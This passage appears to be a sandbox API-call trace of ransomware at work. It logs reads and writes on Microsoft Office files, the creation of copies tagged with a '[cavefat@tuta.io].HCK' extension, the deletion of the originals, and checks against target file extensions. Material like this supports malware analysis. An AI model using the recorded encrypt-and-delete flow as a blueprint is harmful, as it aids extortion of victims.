GetLastError () returned 0x0 [0151.198] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x119, lpOverlapped=0x0) returned 1 [0151.198] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x120, lpOverlapped=0x0) returned 1 [0151.199] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.199] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x100, lpOverlapped=0x0) returned 1 [0151.200] SetEndOfFile (hFile=0x2f4) returned 1 [0151.200] CloseHandle (hObject=0x2f4) returned 1 [0151.201] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.201] SetEndOfFile (hFile=0x2f0) returned 1 [0151.202] CloseHandle (hObject=0x2f0) returned 1 [0151.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0151.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0151.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.202] lstrlenW (lpString=".doc") returned 4 [0151.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0151.202] lstrlenW (lpString=".docx") returned 5 [0151.202] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0151.202] lstrlenW (lpString=".pdf") returned 4 [0151.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0151.202] lstrlenW (lpString=".xls") returned 4 [0151.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0151.202] lstrlenW (lpString=".xlsx") returned 5 [0151.202] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0151.202] lstrlenW (lpString=".ppt") returned 4 [0151.202] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0151.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".zip") returned 4 [0151.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0151.203] lstrlenW (lpString=".rar") returned 4 [0151.203] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".bz2") returned 4 [0151.203] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".7z") returned 3 [0151.203] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".dbf") returned 4 [0151.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".1cd") returned 4 [0151.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".jpg") returned 4 [0151.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".doc") returned 4 [0151.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".docx") returned 5 [0151.203] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0151.203] lstrlenW (lpString=".pdf") returned 4 [0151.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".xls") returned 4 [0151.203] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".xlsx") returned 5 [0151.203] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0151.203] lstrlenW (lpString=".ppt") returned 4 [0151.203] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".zip") returned 4 [0151.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0151.203] lstrlenW (lpString=".rar") returned 4 [0151.203] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".bz2") returned 4 [0151.203] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString=".7z") returned 3 [0151.203] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".dbf") returned 4 [0151.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".1cd") returned 4 [0151.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0151.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0151.203] lstrlenW (lpString=".jpg") returned 4 [0151.204] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0151.204] lstrcmpiW (lpString1=".HTM", lpString2=".HCK") returned 1 [0151.204] lstrlenW (lpString="OSPP.HTM") returned 8 [0151.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0151.206] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=174528) returned 1 [0151.206] CloseHandle (hObject=0x2e8) returned 1 [0151.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0151.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0151.206] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.206] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0151.208] GetLastError () returned 0x0 [0151.208] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0151.213] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0151.215] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.215] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0151.215] SetEndOfFile (hFile=0x2f0) returned 1 [0151.215] CloseHandle (hObject=0x2f0) returned 1 [0151.218] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.219] SetEndOfFile (hFile=0x2e8) returned 1 [0151.220] CloseHandle (hObject=0x2e8) returned 1 [0151.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0151.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0151.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".doc") returned 4 [0151.221] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0151.221] lstrlenW (lpString=".docx") returned 5 [0151.221] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0151.221] lstrlenW (lpString=".pdf") returned 4 [0151.221] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".xls") returned 4 [0151.221] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".xlsx") returned 5 [0151.221] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0151.221] lstrlenW (lpString=".ppt") returned 4 [0151.221] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".zip") returned 4 [0151.221] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".rar") returned 4 [0151.221] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".bz2") returned 4 [0151.221] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0151.221] lstrlenW (lpString=".7z") returned 3 [0151.221] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".dbf") returned 4 [0151.221] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".1cd") returned 4 [0151.221] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".jpg") returned 4 [0151.221] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".doc") returned 4 [0151.221] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0151.221] lstrlenW (lpString=".docx") returned 5 [0151.221] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0151.221] lstrlenW (lpString=".pdf") returned 4 [0151.221] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".xls") returned 4 [0151.221] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".xlsx") returned 5 [0151.221] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0151.221] lstrlenW (lpString=".ppt") returned 4 [0151.221] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.221] lstrlenW (lpString=".zip") returned 4 [0151.221] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".rar") returned 4 [0151.221] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0151.221] lstrlenW (lpString=".bz2") returned 4 [0151.221] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0151.221] lstrlenW (lpString=".7z") returned 3 [0151.221] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0151.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.222] lstrlenW (lpString=".dbf") returned 4 [0151.222] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0151.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.222] lstrlenW (lpString=".1cd") returned 4 [0151.222] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0151.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0151.222] lstrlenW (lpString=".jpg") returned 4 [0151.222] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0151.222] lstrcmpiW (lpString1=".VBS", lpString2=".HCK") returned 1 [0151.222] lstrlenW (lpString="OSPP.VBS") returned 8 [0151.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0151.222] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=94467) returned 1 [0151.222] CloseHandle (hObject=0x2e8) returned 1 [0151.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0151.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0151.223] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.223] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0151.223] GetLastError () returned 0x0 [0151.223] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x17103, lpOverlapped=0x0) returned 1 [0151.232] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x17110, lpOverlapped=0x0) returned 1 [0151.234] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.234] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0151.234] SetEndOfFile (hFile=0x2f0) returned 1 [0151.234] CloseHandle (hObject=0x2f0) returned 1 [0151.236] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.236] SetEndOfFile (hFile=0x2e8) returned 1 [0151.237] CloseHandle (hObject=0x2e8) returned 1 [0151.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0151.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0151.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.238] lstrlenW (lpString=".doc") returned 4 [0151.238] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0151.238] lstrlenW (lpString=".docx") returned 5 [0151.238] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0151.238] lstrlenW (lpString=".pdf") returned 4 [0151.238] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0151.238] lstrlenW (lpString=".xls") returned 4 [0151.238] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0151.238] lstrlenW (lpString=".xlsx") returned 5 [0151.238] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0151.238] lstrlenW (lpString=".ppt") returned 4 [0151.238] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0151.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.629] lstrlenW (lpString=".zip") returned 4 [0151.629] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0151.629] lstrlenW (lpString=".rar") returned 4 [0151.629] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0151.629] lstrlenW (lpString=".bz2") returned 4 [0151.629] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0151.629] lstrlenW (lpString=".7z") returned 3 [0151.629] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0151.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.629] lstrlenW (lpString=".dbf") returned 4 [0151.629] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0151.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.629] lstrlenW (lpString=".1cd") returned 4 [0151.629] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0151.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.629] lstrlenW (lpString=".jpg") returned 4 [0151.629] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0151.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.630] lstrlenW (lpString=".doc") returned 4 [0151.630] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString=".docx") returned 5 [0151.630] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0151.630] lstrlenW (lpString=".pdf") returned 4 [0151.630] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString=".xls") returned 4 [0151.630] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0151.630] lstrlenW (lpString=".xlsx") returned 5 [0151.630] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0151.630] lstrlenW (lpString=".ppt") returned 4 [0151.630] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.630] lstrlenW (lpString=".zip") returned 4 [0151.630] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0151.630] lstrlenW (lpString=".rar") returned 4 [0151.630] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString=".bz2") returned 4 [0151.630] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString=".7z") returned 3 [0151.630] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0151.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.630] lstrlenW (lpString=".dbf") returned 4 [0151.630] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.630] lstrlenW (lpString=".1cd") returned 4 [0151.630] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0151.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0151.630] lstrlenW (lpString=".jpg") returned 4 [0151.630] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0151.630] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0151.630] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0151.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.631] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1261) returned 1 [0151.631] CloseHandle (hObject=0x384) returned 1 [0151.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0151.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.631] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.632] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0151.632] GetLastError () returned 0x0 [0151.632] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0151.634] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0151.635] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.635] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e, lpOverlapped=0x0) returned 1 [0151.635] SetEndOfFile (hFile=0x30c) returned 1 [0151.635] CloseHandle (hObject=0x30c) returned 1 [0151.636] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.636] SetEndOfFile (hFile=0x384) returned 1 [0151.637] CloseHandle (hObject=0x384) returned 1 [0151.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0151.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 